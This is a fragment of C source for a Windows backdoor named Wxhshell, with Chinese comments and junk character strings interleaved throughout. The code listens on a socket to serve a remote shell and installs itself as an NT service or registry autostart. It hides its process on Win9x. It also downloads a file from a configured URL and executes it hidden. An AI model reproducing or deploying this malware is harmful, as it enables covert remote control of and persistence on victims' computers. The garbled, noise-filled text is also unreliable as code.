gG return 0; // 注册表启动 c' 6H@m#= } 7-dwr?j7 BAhC-;B#R // 主模块 M Q6Y^,B int StartWxhshell(LPSTR lpCmdLine) ,y >Na{@Y { @K/Ia!Lw SOCKET wsl; @.{ BOOL val=TRUE; A_.QHUjpx int port=0; |);>wV" struct sockaddr_in door; xEBjfn Q^k#?j# if(wscfg.ws_autoins) Install(); (gZ!o_ !2Orklzd1 port=atoi(lpCmdLine); A0XFu}
U,=K_oBAq if(port<=0) port=wscfg.ws_port; x6t;= |^F-.Z WSADATA data; eZ!k'bS= if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Vo%d;>!G\; H@zk8]_P if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; _x!pMj(A setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nqBuC door.sin_family = AF_INET; /\#5\dHj door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8syo_sC | door.sin_port = htons(port); @K9T )p] No7Q,p if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y[!a82MTzn closesocket(wsl); ]Q3Gj@6 return 1; 8VZ-`?p }
zCHr ,B2-'O if(listen(wsl,2) == INVALID_SOCKET) { zgqw*)C~ closesocket(wsl); P5>CSWy% return 1; TI>yi ^} } tX251S Wxhshell(wsl); @>Keu\) WSACleanup(); o >Lk`\ US4Um>j return 0; $ZS9CkN &f*d FUM]I } {#,FlR2 +2SX4Kxu // 以NT服务方式启动 Iqsk\2W]a3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qC )VT3 { .N=hA DWORD status = 0; qj&)w9RLJE DWORD specificError = 0xfffffff; jO55<s94 mV,R0olF serviceStatus.dwServiceType = SERVICE_WIN32; ^aXBt serviceStatus.dwCurrentState = SERVICE_START_PENDING; X2cR+Ha0 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; akQH+j serviceStatus.dwWin32ExitCode = 0; vrzX%' serviceStatus.dwServiceSpecificExitCode = 0;
`xUPML- serviceStatus.dwCheckPoint = 0; uNbA>*c4M serviceStatus.dwWaitHint = 0; /<0D
E22 $T6Qg(p hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
qR qy if (hServiceStatusHandle==0) return; yjd'{B9{ I*}#nY0+ status = GetLastError(); C t)MvZ if (status!=NO_ERROR) sh ;uKzQ { 3ZlI$r( serviceStatus.dwCurrentState = SERVICE_STOPPED; >K
:"[? serviceStatus.dwCheckPoint = 0; "NU".q serviceStatus.dwWaitHint = 0; @@wx~|% serviceStatus.dwWin32ExitCode = status; CeTr%j serviceStatus.dwServiceSpecificExitCode = specificError; _sVs6AJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); $]kg_l) return; [.X%:H+
} FE}!bKh `l2q G# serviceStatus.dwCurrentState = SERVICE_RUNNING; }&DB5M serviceStatus.dwCheckPoint = 0; =[JN'|Q+ serviceStatus.dwWaitHint = 0; sw|:Z(` if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hZ<btN.y5 } cA?
x( |L;psK // 处理NT服务事件,比如:启动、停止 4Umsc>yfK VOID WINAPI NTServiceHandler(DWORD fdwControl) zXZ'nJ5OGG { VA'X!(Cv switch(fdwControl) A[kH_{to; { ,dx)rZ* case SERVICE_CONTROL_STOP: D a[C'm= serviceStatus.dwWin32ExitCode = 0; /w M serviceStatus.dwCurrentState = SERVICE_STOPPED; u!o]Co> serviceStatus.dwCheckPoint = 0; |xZcT4 serviceStatus.dwWaitHint = 0; \oX8/-0 f { R9h>I3F=c SetServiceStatus(hServiceStatusHandle, &serviceStatus); )7GLS\uf<% } br Z,s return; KC:4 case SERVICE_CONTROL_PAUSE: QO{=Wi- serviceStatus.dwCurrentState = SERVICE_PAUSED; =`~Z@IbdI break; j yRSEk$ case SERVICE_CONTROL_CONTINUE: ShJK&70O serviceStatus.dwCurrentState = SERVICE_RUNNING;
iN_D8dI break; *xg`Kwl5Kl case SERVICE_CONTROL_INTERROGATE: _sR9 break; mO)PJd2ZD }; QZ3(u<f SetServiceStatus(hServiceStatusHandle, &serviceStatus); l (,;wAH } ZuvPDW% ^Wfgwmh // 标准应用程序主函数 dAr)%RZ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g'ZMV6b?K { 7sc<dM R
pI<]1 // 获取操作系统版本 ncattp OsIsNt=GetOsVer(); /%YiZ# GetModuleFileName(NULL,ExeFile,MAX_PATH); E0eQ9BXh ^8NLe9~p3? // 从命令行安装 ~sIGI?5f if(strpbrk(lpCmdLine,"iI")) Install(); [z% ?MIT zk5=Opmvh // 下载执行文件 "6N~2q,SW if(wscfg.ws_downexe) { ,.jHV if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7grt4k WinExec(wscfg.ws_filenam,SW_HIDE); D!}K)T1~R } /.)[9bQ< -~\.n if(!OsIsNt) { 6f?BltFaN // 如果时win9x,隐藏进程并且设置为注册表启动 7q!yCU HideProc(); tB7K&ssi StartWxhshell(lpCmdLine); n2d8;B# } N3gNOq& else 0UGiPH,() if(StartFromService()) d"I28PIS" // 以服务方式启动 'DzBp StartServiceCtrlDispatcher(DispatchTable); 8.CKH4h else f[Fgh@4cj // 普通方式启动 )W]>\=@Y StartWxhshell(lpCmdLine); N
pXgyD wfDp,T3w7 return 0; lMwk.# }
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